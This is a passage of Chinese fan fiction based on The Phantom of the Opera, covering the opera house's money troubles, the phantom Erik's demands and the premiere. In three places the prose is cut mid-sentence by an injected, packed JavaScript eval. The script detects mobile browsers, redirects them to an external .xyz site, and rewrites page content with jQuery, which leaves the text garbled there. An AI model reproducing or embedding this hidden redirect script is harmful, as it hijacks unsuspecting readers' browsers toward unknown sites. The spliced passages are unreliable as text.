然而其他的人却不这么想。在他们看来，这个被他们称之为家的歌剧院就快要崩塌了。 先是撤走剧院一直以来的票房保障卡洛塔夫人，然后又将吉里夫人辞退，现在连大半演员都遣散回家，这很容易令大家开始怀疑这位年轻的女经理是否是将接手歌剧院这件事当作一个彻彻底底的消遣。 富人的孩子寻求消遣本不是什么稀奇事。他们的父母也往往并不将这看作是什么需要严加管束的地域，相反地，他们认为孩子能在失败中得以成长，甚至在逆境中意识到自己优越的生长环境，最终回到家族所提供的沃土里。 他们这些人则没那么幸运。一旦这份工作被收回，就将有数口人面临饥寒交迫的处境。 与他们不同，也让他们因此而感到忿恨，以至于时常难以共情的是，她玩够了还会有随时撂挑子走人的底气。这是她的姓氏所赋予她的权利。 最近的歌剧院人心惶惶。 又是黄金失窃，又是舞团解散，接二连三的打击让大家都有些提不起兴致干活。可新经理上任后的第一场演出就在下周，如果让他们以这样涣散的情况出现在观众面前，恐怕歌剧院就得彻底关门大吉了。 “听说你们新来的经理遣散了芭蕾舞团？” 回家后，有不少贵族家的仆人都跑来和老沃特求证。遣散芭蕾舞团放在哪里的歌剧院都是新鲜事，他们还从没见过没有舞团演出的剧院呢。 “该不会不久后你也得跟着回家吧？要我说...” “有你们什么事儿？！”老沃特不耐烦地挥手，像赶苍蝇那样驱逐他们： “你要是哪天见到我在家里，那指定是歌剧院关门的时候！” 莫琳有些烦躁，在她原先的预想中，运营歌剧院并不是一件这样困难重重的事情。 可现在她逐渐开始意识到，自己好像从一开始就步上了错误的，难以掌控的道路。就从遇见那个幽灵开始。 他叫什么来着？对了，埃里克。 是时候他该出现了。 14. 质问 如莫琳所料的那样，将自己认作歌剧院“主人”的幽灵先生是不会放任她毁掉自己的财产的。 “我是让你去做事，不是让你将我的歌剧院弄的一塌糊涂的”，埃里克坐在莫琳专属的经理位置上。他看起来风尘仆仆的，刚刚才从远方赶回来的样子。 在经历过几次不那么愉快的“洽谈”后，埃里克似乎已经放弃了寄送信件这样效率低下的沟通方式，尤其是现在，连自己唯一的送信人都被莫琳辞退了以后。 “哦，我知道，将那几个盯着克莉丝汀的讨厌鬼弄走不是吗？”莫琳心不在焉地回答。 事实上她很清楚他在说的是什么，但依旧打算先将话题糊弄过去，以猜测他究竟是否那样手眼通天。 “我并不认为歌剧院需要一场这么激进的改革，起码在首演之前不需要。” 与她相反，埃里克的神色看上去却是难得的严肃。 她猜想他早已经看破她的伪装了，只不过他的确将歌剧院放在了更重要的位置，这才愿意放过这些细枝末节。 “可人都已经辞退了，你不觉得说这话有些晚吗？”莫琳看着他的眼睛：“你知道我为什么不让吉里太太继续待在这地方，我不是那样甘愿在自己身边埋藏卧底也不吭声的人。” “我很意外你会觉得吉里是我的卧底”，埃里克挑了挑眉，指出她幼稚的错误，“将她安排在你身边完全是多此一举。我想不需要我提醒，你还没能获得完全的生命保障。” 听对方将威胁挂在了嘴边，莫琳的回答开使变得咬牙切齿起来： “好吧，即使我承认这次是我的失误，我不该低估吉里在歌剧院的影响力。可芭蕾舞团得解散，这是迟早的事，你看过账簿，我们支撑不起多久了。” “如果他们不走人，我想不到要从哪里节约下两万里弗尔作您的工资。”莫琳说。 她不相信这个看上去无所不能的男人会拥有如此迟钝的反应力，连她都察觉到了剧院严峻的财务危机，他不可能对此毫不知情。 埃里克深深地看了她一眼。 她终于问出来了，他想。这个狡黠得如同狐狸一样的女人早就将事情看透了，她不过是想把我怀里准备好的答案钓出来而已。 他们两个是在赌，赌谁更在乎这个歌剧院一些。 “将女孩们召集回来吧，这笔钱会有人填上的。至于吉里太太，我认为她早就该休息了。” “莱斯曼小姐，你需要记住，一个正经的歌剧院需要芭蕾舞团，即使她们演出得再糟糕”，埃里克说：“即使你想让莫扎特的声音更响，也不该用‘太阳王’[ 《太阳王芭蕾》由法国国王路易十四亲自参演]的黯淡作为代价，没有人会买账的。” “我不介意给予仆从几次教导，但太多了的话，我会没有耐心。” “他又在贬低我！”莫琳压着火想，她几乎要忍不住朝他那张坚硬的面具上来上一拳。 她绞尽脑汁地替埃里克寻找避免当下就挨揍的理由，最终败在那句“有人会填上这笔钱”上面。谁能和财主过不去呢？即使是莫琳，她也没必要给自己找麻烦。 “那就这样吧，我等你的好消息”，莫琳将最后那几个字特意压着重音说道。 如果不能将钱带回来，她就算是同归于尽也不会放过他。 将舞女们召集回来不是什么太过困难的事情，经过莫琳那番敲打后，恐怕将她们的薪水削掉大半她们也都是愿意回来的。只不过是莫琳自己丢掉些面子而已。 当然，她作为经理，不可能在乎这些小事，只要能让剧院重新恢复正常的日子就行。 小舞女们愁眉苦脸地离开，又叽叽喳喳地回来填满了剧院的每寸空隙。 只有梅格，她说什么也不愿意离开自己的母亲，直到莫琳向她许诺了新的位置。 ——她让梅格代替吉里太太原来的职责，并且兼并作为巴黎舞团的领舞来管理所有的女孩们。 这样的丰厚条件实在很难让人拒绝。莫琳抓准了她的心思，抛出了不可拒绝的鱼饵。 “你难道想永远作为别的女孩的陪衬吗？克莉丝汀成了女高音，而你依旧一事无成？” “可我不可能既承担母亲的职责，又作为领舞，虽然我十分乐意，但我不能把自己掰成两个人用”，梅格不解地问。 ‘那就要看你自己的选择了”，莫琳回答：“究竟什么才是你所希望的，好处不可能全落在同一个人的身上”。 她其实并不觉得梅格有多么热爱芭蕾舞，也许的确比克莉丝汀来得多，但却又没有那么多，多到足够让她放弃吉里太太的位置。 梅格之所以会选择待在舞团里，最大的原因还是因为自己的母亲。一个小芭蕾舞女，一个剧院的总管事，多么和谐的母女地位关系。而现在吉里太太的职位空缺，她无法眼睁睁看着别人将母亲取而代之。那还远不如她自己担下更容易令人接受。 这句话正踩在她心上，梅格没犹豫多久就点了头。 不过很快莫琳又遇到了新的难题。 这笔用来解决他们燃眉之急的钱的确打到了剧院的账户上，由于数额不少，银行经理还特意带着账簿来了一趟她的办公室。 “莱斯曼小姐，如果您愿意将这笔存款长期地存放在我们这里，一定会得到十分不错的收益”，银行经理带来了笔和数据表，在上面煞有介事地涂画了一番，最终和莫琳下了定论。 可遗憾的是，莫琳却没能被他轻易地蒙骗过去。 她虽然对于数学不精通，但却拥有天生的商人头脑。没人会轻易地让利给素不相识的人，除非这其中他自己能得到十分可观的利润。 “我当然非常乐意”，莫琳朝他露出自己的招牌笑容，打探道：“就是不知道您为什么这样做？” “据我所知，这样的利率已经远远超过目前的市场均价了，我得知道我的财产是否会产生风险。您就是做这一行的，应该很能够理解我才对。” “当然是对您有益处的事！”，经理没想到莫琳竟然还会对这样的好事有所迟疑，着急地催促：“我从没见过有人会看着便宜不捡的！” 莫琳没有回答，她的问题依旧没有被解决。 “不如我和您挑明了说吧！”，话到此处，经理已经彻底失去了初来时的耐心，向莫琳摊出了底牌：“这笔钱是从罗塞尔家的家族账目上汇出的，经手交易的则是他们家的首席秘书，现在您明白是什么意思了吗？” 听到这个名字，莫琳开始有了些头绪。 她作为一个英国人，尚且都对罗塞尔有几分熟悉，那么就更别提这个名字在法国的影响力了。 罗塞尔这个名字在巴黎意味着什么呢？ 如果说莱斯曼家族占据了巴黎百分之二十的财富，那么罗塞尔家就笼络了百分之三十的权力。 没有任何生意能够脱离权力存在，无论当下的何人掌权，国王是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018818|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁慈，民众又身处在哪个帝国，这条恒律都不曾更改过。 “你们想搭上罗塞尔这条线？”莫琳不确定地问。 “这是共赢，莱斯曼小姐”，对方的目光炯炯有神地盯着她。 莫琳拿过他带来的那本账簿翻了翻。对方的款项是从里昂的某个私人账户汇出的，现在鲜少会有人选择将财产保存在那里了。 “恐怕我帮不上忙“，莫琳遗憾地将账簿还给了他，说：“我私人和罗塞尔家并没有交情，大概很难替你办事。” 虽然买卖不成，但经理的话却提醒了她一点——那个幽灵和罗塞尔的关系匪浅。 她愈来愈觉得自己看不懂他了。 这个幽灵的暗线与爪牙似乎笼盖了整个巴黎，小到歌剧院的吉里太太，大到巴黎的罗塞尔家族，这些人究竟是如何和他搭上线，又为什么心甘情愿地替他办事呢？ 那个银行经理攥着账簿咬牙切齿地走了，脸色很不好看，以至于梅格以为她说了什么冒犯人的话才将他气走。 自从当上管事以后，即使她心底很不乐意，但仍然控制不住地开始为剧院的大小事宜操心。 “经理，您应该对那位先生态度好些，”她劝莫琳。“我们少不了要和他们的人打交道。” “你以为态度就能改变结果吗？”莫琳慢悠悠地举起茶杯。她挺喜欢这个新上任的小管事，不介意在空闲之余给她一点指导： “他之所以气冲冲地走了，那是因为我没有如他的意。可你知道我如果顺从了他的意愿会得到什么后果吗？那会让剧院在不知情的状况下承担上一笔债务，还有可能是最难还的人情债。” “这世上没有什么东西是免费的。” 梅格听不太明白她的话，但她有更重要的事要转告给莫琳。是关于幽灵信上的内容。 克莉丝汀身边的那几个人已经走了。 莫琳原先以为这件事是处事周到的奥斯顿替她办的，却不料对方压根就没有在剧院里面待着。 据老诺特说，他最近家里突发急事，请假了几天。然而奇怪的是，在提到克莉丝汀的时候，他的脸色却变得有些古怪。他说：“那女孩是自己将人遣退的”。 这听上去毫无道理。 在莫琳的认识里，子爵为克莉丝汀遣派的人手目的不在监视，而是保护。克莉丝汀毫无理由要将这层自我保护的屏障主动撤走，除非她是自愿的，她想主动暴露在“危险”面前。如果是这样，那么子爵眼中的“危险”很有可能并不是“危险”，她想见那个幽灵。 此时不知道为什么，达茜和自己说过的话又突然不合时宜地冒出了她的脑海里—— “那个劳尔，他不是什么好东西。他将克莉丝汀当作自己的物品看待”。 这个三角式的情感关系在莫琳眼中一下变得有趣了起来。 先是埃里克以要让克莉丝汀全意准备演出为名义，要求莫琳撤走劳尔分派在她身边的人手，然后是女主角主动地达成了这一目标，导致莫琳一下没了用武之地。她不确定那个幽灵要求撤走人手的真实目的，他知道克莉丝汀的意愿吗？她也不确定。唯一清晰的是，如果幽灵的确想乘此机会与克莉丝汀见面，那么克莉丝汀想见他的倾向似乎更大。 她忽然想将这个事实掩盖起来。 如果让埃里克发现任何他们俩之间互相迈出的步子是朝着同一个方向，哪怕只是可能性，那也有可能让他看见更多的希望。 15. 共谋 就在莫琳的试探尚未得逞的另一边，那个幽灵又找上她了。 如果克莉丝汀见到这场景，那么大概能解答她近日以来苦思冥想的问题。导师是个神秘的人物，他的偶然消失并不值得引起注意，相反地，她还常常因此而享受到难得的松快与惬意。他对她实在太严厉了。 可这次的消失却显得不太对劲。 他明明已经回来了，明明已经许诺了自己会指导她作为首席的的首演，她才刚刚因自己失而复得的嗓音而感到短暂的欣喜。他却忽然从剧院里消失了，不仅仅是身体，更重要的是声音。有时候他即使离开，也常常会遗留下只言片语引导她前行。 可这次什么也没有，她又再次生活在了寂静中。 埃里克再次将烟点燃时，莫琳正坐在梳妆台前擦头发。 莫琳搬进这件公寓的时日不长，还没来得及添置太多家具，最引人注目的大概就是墙上那幅奥弗涅绒绣毯，足有六尺长，上面绘制着四季景象。这是莫琳从一位波斯商人手上买下的，它的前任主人似乎是位潦倒的画家。 埃里克就站在这幅厚重的绒绣下边，猩红的火星在易燃物旁将着未着，别有一种危险的美感。 莫琳早就注意到他了。 他今天比往常要更像一个“人”得多，那件剪裁得体的黑色大衣衬得他的影子格外高大阴沉。 这身打扮使莫琳的脸忍不住抽了抽，她几乎有些维持不住自己原本想要表现出来的忿恨仇视的神情。 ——幽灵披上人类的皮囊，竟然试图用绅士的装扮来伪装自己野兽的行径。 “看来莱斯曼小姐的品味还有待提高”埃里克看着她刻意敛下的的嘴角，阴阳怪气地开口：“奥弗涅的绒绣不错，只是绘的景与你的房间并不相称。” 窗户没来得及被主人全部掩上，黄昏的光线透过一点空隙争先恐后地涌进来，照亮屋内的置景。 四柱床被摆放在房间最中心的位置，上边挂着深红色缎纹布床帐，饰有金饰带和黄绸丝细绳，其余的两面窄帘则都用同一种以纱线和羊毛制成的凸花厚缎制成的。这虽与墙上那幅绒绣的四时景色相得益彰，却在色彩之间产生了强烈的冲突。 在家里的布置上，莫琳并不是习惯挥霍的人。相反的，她偶尔也会以自己独特高雅的品味而自得，这并不能仅仅依靠物品价格来衡量的美学价值能力，也使得她从一众单纯崇尚奢靡之风的贵妇中脱颖而出。 在伦敦的时候，这些人还常常追寻她的风雅。那些女士说什么来着？莫琳·坎贝尔，伦敦真正的美学标志。今天她拿一块镶边的威尼斯平纹布垫在餐盘下，明天那些佣人们就会被女主人吩咐换掉家中全部的餐巾。 莫琳必须承认，在他点明以前，她还没来得及注意过自己新居所的内饰是否协调。她太过相信自己的浸染艺术多年的天赋，只觉得随手的添减都自成一派。 然而这家伙呢？她还没谴责他擅闯私宅的行为，反倒置喙起自己的品味来了。 然而埃里克却对她脸上由白转红的精彩变化视若无睹，他对于看见莫琳吃瘪这件事很有兴致，像是通过这几句话上的优势就能将她那日在黑湖旁的勘破遮掩过去。于是他下沉的语调不自觉地在话尾扬了起来： “我那里有一块来自布鲁塞尔的佛兰德斯，莱斯曼小姐或许会感兴趣。” 佛兰德斯是个耳熟的绒绣名字。 那位波斯商人售卖给她那幅奥弗涅时，还顺便炫耀过曾经从自己手中售出的一块绣有阿涅埃斯故事的佛兰德斯收藏品。巴黎人对这类绒绣趋之若鹜，虽说他要价三千利弗尔，实际上却是有价无市的珍品。 如果不是对方话里明晃晃的嘲讽让人实在难以忽视，莫琳觉得自己恐怕真的会厚着脸皮就此接下这份礼物。 在这座城市，人人都像是艺术家，莫琳那些实用别致的雅趣反而一下子沦为了上不了台面的东西，却正好与他们对她家乡的糟糕印象对上了号。 “不必了先生，一块佛兰德斯算得上什么，如果能替我换来解药的话，我想您的房间里会堆满这样东西的。”莫琳嘲讽他。 她一边不动声色地将那块绒绣扯下来，一边瞟向男人没被面具遮住的那半张脸，说： “你们巴黎人，总是为了这些没用的东西而自毁前途[ Martin Lister, op.cit.,p24.]。每个，我是说每个，但凡有点钱的人，总是觊觎着那些艺术品，标榜自己独一无二的审美。可事实上呢？你知道那块佛兰德斯的价值能负担几位演员的薪资，又够歌剧院周转几个周期吗？” 她的气急败坏过于明显，埃里克低低笑了两声，不再与她争论。 他终于将烟碾灭，金属面具笼在明明暗暗的光影下，骨肉都与沉沉夜色融为一体，唯独露出一双犀利摄人的眼睛。 “ 我是来与你商量首演事宜的，莱斯曼小姐。” “哦，首演”，莫琳被愚弄过后的闷气还没消，“我还以为你是来质问我为什么要将吉里太太辞退呢。你感到很可惜吧？那可是你的得力干将。” 她踩过那片被自己的头发弄得有些潮湿的地毯上，回忆起预演那天堪称狼狈的场景，“说起来我的水晶灯至今还在修复台上摆着，负责的人说上面有许多稀有的装饰品找不到了，恐怕你得赔我一个。” “当然”，埃里克毫不在意地应下来。他知道莫琳是在拿这些细枝末节的东西糊弄他，好叫话题重点偏离轨道，但他当然不可能让她得逞。于是直接将这场谈话的核心拎了出来： “首演当日，你的舅舅和表哥都会到场，我要你安排我们见面。” 从血缘关系上来说，莫琳的母亲只有一个弟弟，她本人只有一个舅舅，也就是巴黎这位大名鼎鼎的莱斯曼先生。但他和这个幽灵能扯上些什么关系，莫琳不明白。 “你要见他们做什么？”她问。 “这位小姐，不妨想想你舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018819|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的发家史。”意料之外的，埃里克竟然并没有在这个话题上避讳她，他直截了当地向莫琳袒露了自己摄权的欲望。 “我以为你是为了剧院才勒索我。”莫琳有些诧异，军火和政治从来一体，如果他想要和自己的舅舅谈什么合作，那必定绕不过政府的眼睛。可这个幽灵又怎么可能让巴黎市政对自己的安排横插一脚，他会如何对待干扰自己的人，莫琳很有体会。 “如果是关于克莉丝汀或者卡洛塔的事情，我都能替你安排妥当。剧院的曲目虽然被我调换过，但预演日的反响依旧不错，如果没有那场意外的话......” “我的意思是，你要我去做歌剧院之外的事？”莫琳顿了顿，还是不敢相信他的企图。 “没错”，他回答。 “我还是劝你不要做些不切实际的事”，她慎重地打量他几眼，“也许在歌剧院里你已经习惯了掌握主权，但外面可不一样。我不想自己因为错失解药而悄无声息的死在这里。” 埃里克有些意外地侧过头，他对于莫琳突如其来的劝诫表现得有些不适应。她应该是排在随时准备暗杀自己的仇家榜上前三位才对。 “莱斯曼小姐的关心还真是让人感动。” “不过你不必担忧这些事情，你的解药我会交付到莱斯曼先生的手上。如果我死了，你正好能够就此摆脱，也不会再发生下一次的绑架案了。据我所知，海伍德小姐十分担心你。” 这句话倒是很中听。 莫琳巴不得他立刻就被卷入巴黎市政的那些肮脏事里，然后被各个阶层的敌人暗杀掉，尸骨就曝晒在市政厅外边的廊道里。这样的话，说不定她还会好心地替他收敛遗体，安置到那片曾经困住她的黑湖深处。 但莱斯曼先生和她可没交情，她对于自己这个便宜舅舅是否能这么轻易地交出解药依旧存疑。把命从一个人交到另一个人的手上，不是什么好选择。 她没办法立即给出答案，但让他们几人见面，还是在歌剧院里，受益者显然不会是莱斯曼一家。如果按照他所说的那么做，无异于是将定时炸药投向了那两人。 说起来还是有着血缘关系的亲人，莫琳没法眼睁睁看着他们和自己跳入相同的火坑里。她怀抱着留有余地的心情试探埃里克。毕竟同样是见面，可单方面的通知和双方都能知情的到场却是天差地别。 埃里克则将她最后一丝希望也掐灭了，“演出结束后，将莱斯曼先生带到五号包厢，这就是你该做的事。” 他这话说得毫无余地，莫琳只能接受下来。不过莱斯曼也不是没脑子的青涩年青，作为掌权人，在巴黎政商两界摸爬滚打多年发家的人。总有属于年龄的智慧。他究竟会不会听从莫琳的话，跟随她步入那间五号包厢。完全是未知的事情。 然而还没等她从他的雄心壮志中缓过神来，埃里克又立即向她抛出了另一个几乎可以说是强人所难的要求： “我需要将你的男低音换掉。” 16. 首演（1） 他说得波澜不惊，却让好不容易平静下的莫琳再次激动起来： “换掉？” 她的声音又控制不住地拔高了一些。意识到这样很有可能惹来多余的注意后，莫琳捂住自己的嘴，竭力放低声音：“你在说什么？这位先生，明天就是首演了，我以为你能提出些切实可行的意见来！” “我替你找到了更好的人选。你不是想要让歌剧院通过这场首演彻底扬名吗，按照我说的做，你会如愿的。” 听到这句话，如果不是性命还被捏在这个魔鬼的手上。莫琳简直想要跳到桌子上去将唾沫吐到他那冷冰冰的面具上。他说得容易，可这场剧目是她亲自改编排演，男女首席都是挑的剧院中嗓音条件最好的演员。为此，她甚至不惜辞退剧院多年来的台柱卡洛塔夫人，并为此支付了对方高额的违约金。 “全巴黎恐怕都找不出来更优秀的男低音了，如果你要为我现找一位音乐家，那么为什么不早这么做？” “我并不是要为你现场举荐一位。莱斯曼小姐，我想你误会我的意思了，我是说，我本人会亲自完成这场首演。” 莫琳差点怀疑自己的耳朵得了不治之症，她连恐惧嫌恶都顾不上了，靠近那个幽灵边上两步，恨不得将自己的耳朵贴上那个刚才发声的地方，说： “你说你要亲自完成首演？” “你难道是打算代替男低音上场演出吗？！用那半张脸？我还以为你从来就生活在那片黑湖下边不出来呢。” “别用那种眼神看着我。”埃里克不动声色地退了退，他的那半张脸上竟然显露出本该出现在对面那位女士脸上的嫌弃来：“如果如你所说那样，那么我现在又站在哪儿？我不知道莱斯曼小姐的卧室也挪到了幽灵的地窖里。” “噢，我就算是哪天破产了，被赶出歌剧院也不会住到你的地窖里去。” “怎么，你终于忍不住对克莉丝汀的思慕，打算当台和我们的子爵先生宣战了？你会毁了我的首演的！我哪怕是毒发身亡也不会让你这么做！” 提到克莉丝汀，埃里克的表情终于有了些微松动，但他依旧没有要改变主意的意思。 “我只是希望陪伴她完成这场首演而已，这对克莉丝汀意义重大。你可以放心，我不会上场，也不会吓跑你那些心脏脆弱的观众们，你只需要让场上那位男低音完全配合我。” 莫琳的神色骤然复杂起来，她简直难以描述这个幽灵对于爱情几乎空白的理解，这种感觉她只在被丧心病狂的追求者塞了一个月的花时有过。 “我在黑湖时和你说过...”莫琳留了半句没说完，她想她自己总是有着不合时宜的仁慈，总能对这个魔鬼心软。 埃里克不想回答这句话，他感到像是被对面的人将自己的自尊揭开了一样难受。这种被温和包裹住的好心往往比当众摘下面具更难以让人抗拒。 “做你该做的，莱斯曼小姐。幽灵是不值得人同情的。” 首演如期举行。 为了替首演造势，莫琳邀请了几乎大半个巴黎社交界的名人，其中包括像子爵一样的上流贵族，以莱斯曼家族为首的富人阶层，常常在沙龙中聚首的音乐家和艺术家，甚至还有十七号公寓那位以美貌闻名巴黎的交际花。 说起来莱斯曼根本没有必要白费力气去市场上花大价钱和平民一起竞价那几张为数不多的余票。就在得到父亲嘱咐的那天下午，昆西就从管家手上拿到了三张最佳观赏位的黄金票，据说是由一位穿戴得体，几乎下一幕就能出现在王室葬礼现场的夫人送来的。 那丫头精明得要命，连他从未在公众场合露面的妹妹都打进了自己的算盘。 三张黄金席，却没有安排一间私密度上佳，贵族们普遍倾向的二楼包厢。她大张旗鼓地将这个向来行事低调的家族置于拥挤人群的最正中，无非是想借机宣传，将那些对歌剧不甚感兴趣，却又想和莱斯曼打交道的家族拢入自己的客户群体。 她什么钱都想赚。 不过莫琳自然也知道莱斯曼不可能这么听话，这几张票纯粹是为了膈应他们而已。 莱斯曼不差这几个钱，莫里斯大概率还是会坐在自己儿子为他高价竞得的包厢里，而那个心思缜密的昆西，他还不知道自己会可怜的父亲将不得不独自面对剧院幽灵的威胁。 “欢迎，莱斯曼先生。” 今天莫琳是主人，她站在观众入席必经的前厅门口，和每位有身份的往来者寒暄，顺便再乘机拉拢一些有意向的投资者。等看到莫里斯·德·莱斯曼的脸后，她挂在嘴边的笑容更深切了一些。 “这么多年不见，舅舅，看来你的生意越做越好了。”莫琳的目光最终停留在对方胸前的领针上，那是王室赠予莱斯曼家族的“勋章”。看来莱斯曼给予了今日的出席一定重视，不然不会如此隆重地打扮自己。 莫里斯看着面前几乎要和自己一般高的陌生女人，差点没能将自己的外甥女认出来。直到他发觉对方正用那种奇异的眼神上下扫视自己后，才找回一点熟悉的感觉——他确认，这就是十几年前那个习惯趾高气扬发号施令的小女孩。 只有她，会因为想在自己脸上看到恼怒的情绪而故意强调他商人的身份。 她向来是顽劣的人。无论是作为从前的莫琳·坎贝尔，还是现在的莫琳·德·莱斯曼。 “小买卖而已”，莱斯曼笑眯眯地回答：“我没想到你如今会有这样出色的能力，孩子，你的母亲一定会为你今天的成就而感到骄傲。” 提到母亲，莫琳的脸色变了变。当初母亲在坎贝尔家族受苦的时候，可从没见自己这位舅舅有过丝毫关心，甚至是她的葬礼，他也没有现身。 但她当下却不能将这些情绪表露出来。先前的那些将无辜他人拖入泥潭的懊恼与丧气突然都消弭无踪了，她垂了垂眼，礼貌地将莱斯曼请入了他的席位。 “希望您能享受今天的演出”，莫琳说。 莫琳·德·莱斯曼并没有在她的宣传标语上弄虚作假，观众们很快见识到，这的确是他们毕生都未曾有幸聆听过的迷人歌声。 尤其是那位与女高音搭档的男演员。 他的样貌平平无奇，而歌喉却是这样惊人地瑰丽，使得他整个人的形象都高大伟岸了起来。他的音域宽阔，音调立体，让人几乎分辨不出演员所处的位置，只觉得自己身上的每寸肌肤都沐浴在他所施予的神圣乐河中。如果不是亲身体验，他们很难相信世界上会存在这样的天才，哪怕是最为俗气的爱情，也叫他变得高雅不可攀。 只可惜没几句话的功夫，那位男演员就碍于剧情需要而被蒙上了黑纱。即使连他的嘴唇也看不到，观众的目光依旧像着了魔似的始终追随着他。 就如同她所预料的那样，演出大受欢迎。 改编后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018820|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的剧目彻底夺得了早已厌倦陈词滥调的观众们的芳心，原先被他们撇在手边的节目单现下摇身一变成了交际场上时髦的流通物，不少贵妇们都开始和身边带来的女佣们窃窃私语起后边的剧情。 羽毛扇后的嫣红唇脂，礼帽下边萦萦缠绕腾空的烟雾，各个地域的口音相互交杂，为这场盛典口口相传。 趁着嘈杂的幕间休息时间，一位穿着黑色套裙的女人迈入了莱斯曼的包厢。 此时的莫里斯正准备起身去和自己的大儿子昆西碰面，不料迎头就碰上了这位看上去年轻，但却严肃古板的女孩。她看起来可一点儿没有身为下位者的谦卑自觉。 这让他想起几刻钟前与自己侄女那番不甚愉悦的见面，多么熟悉的场景，同样的，他们都没有像旁人一样对莱斯曼有着本能的恭敬。现在看来，不光是她，这整个歌剧院里都没几个人拥有这些普遍的常识。 什么样的经理手下就会培养出什么样的员工。 莫里斯劝说自己没必要和小辈多做计较。他将挂在门口的大衣披上肩，连胳膊都懒得抬，只是扬扬下巴，示意对方替自己穿上。 这本来是贵族家贴身佣人做的事，莫里斯没想那么多，只是单纯因为此行无意铺张排场，所以没有带平日惯用的仆人，于是想着让剧院的人代行其职。从他的角度来看，这是某种荣耀。 寻常人或许会因为他这番自带压迫感的举动而忘记自己的来因，但梅格却没有动，她仍然记得自己的目的与职责。她不紧不慢地说： “先生，我们经理在五号包厢准备了上好的勃艮第葡萄酒供贵宾们评鉴，还请您移步。” 这并不是寻常剧院习惯的做法，通常来说，即使有主人拿出私藏招待贵客，也不该聚集在某一间包厢，而是由侍者们分发去各处，绝没有让客人挪步的先例。 莫里斯挑了挑眉，言语中已经不自觉地带上了讥讽。他的耐心不多，没打算浪费在这种地方：“原来你们经理不仅在剧目上下足了心思，连幕间都是这样别出心裁。移步就不用了，也没什么酒是贵重到连莱斯曼家的酒窖里都不曾有过鉴藏的。” 见他丝毫没有扭转心意的样子，梅格忍不住加重了语气： “这是您妹妹葬礼上的酒”，她说。 她将女经理告诉她的话原样复述了一遍，对于是否能在这位看起来毫不受血脉亲情所累的先生身上奏效并没有怀抱多大希望。 “经理说，您当初没能参加自己母亲的葬礼，她深感遗憾，所以特地藏下几瓶宴客的酒，就是为了有朝一日能让您有机会弥补当时的缺憾。” 莫里斯的脸色霎时变了。 他早就明白对方是想借此机会和自己谈谈，又或者是做些什么交易，才要让人将自己引入五号包厢，可他没想到莫琳竟然不惜将自己已故的母亲，自己多年未见，甚至已经断绝关系的妹妹搬出来。 她决心离开巴黎嫁给坎贝尔的那天，莫里斯一直追到了城郊外将马车拦下。他说：“父亲病重，你至少待到他痊愈起来再走。” 可妹妹却只留下了一句话：“哥哥，以后莱斯曼和我再也不会有关系了。” 如果让她看见，自己的女儿成长为这样一个利欲熏心的人，哪怕将自己搬出来也要回到巴黎重新借上莱斯曼的势力，她也许会难过吧。 他最终叹了口气，无奈地跟上了这位新上任的年轻管事 。 17. 首演（2） 五号包厢内等着他的人是莫琳。 “你想和我谈谈吗？”莫里斯看到莫琳，露出一副果然如此的样子。他径直走到莫琳对面的位置，拉开椅子坐下。 他看到桌上摆了不少酒。有勃艮第，丽思玲和白兰地。 但除此之外，却没有任何常见的柠檬和糖果，或者是下酒的食物。看起来谈判的气势很足，这反倒比打亲情牌更让他感到舒适一些。 至于什么“母亲葬礼上的酒”一言，到这里也可以看出来完全是她胡诌出来的。 “莫琳，我理解你脱离坎贝尔家族的决心。”莫里斯说。 “你现在应该明白你母亲当初的决定是多么错误。既然你选择最终在巴黎安定下来了，也换作莱斯曼的姓氏，那么我想我是时候履行起做长辈的职责来。” 莫琳仰着头听他侃侃而谈。她之所以会代替埃里克出现在这里，是为了给这个血缘关系上的舅舅最后一次机会。严格来说，这是她回到巴黎以后与莱斯曼的第一次正式会面，她想听听他究竟能说出些什么话来。 “做长辈的职责？”莫琳替他斟了一杯酒，调侃道：“如果您有这样的想法，那么请允许我擅作主张地在为歌剧院的赞助者名单加上您的名字。” “你知道我说的不是这个。” “那么还有什么？”莫琳看着他饮下那杯醇红的酒液，“您打算为我的母亲，您的妹妹报仇吗？坎贝尔背叛了她，而她是您的血亲。” “血亲？”莫里斯冷哼一声：“早在她偷偷溜出城去的时候就不是了，是她抛弃了我们，就为了一个冷血的英国人。” “你要比你母亲聪明，莱斯曼能给你的远比坎贝尔要多。” “你母亲的嫁妆。我想你既然有能力接手下歌剧院这个烂摊子，一定从坎贝尔那里带走了不少东西。给自己好好留着，马上就会有地方用上的。” “我不太明白。” “我会利用我在巴黎的人际关系，为你寻找一位合适的丈夫”，莫里斯说。 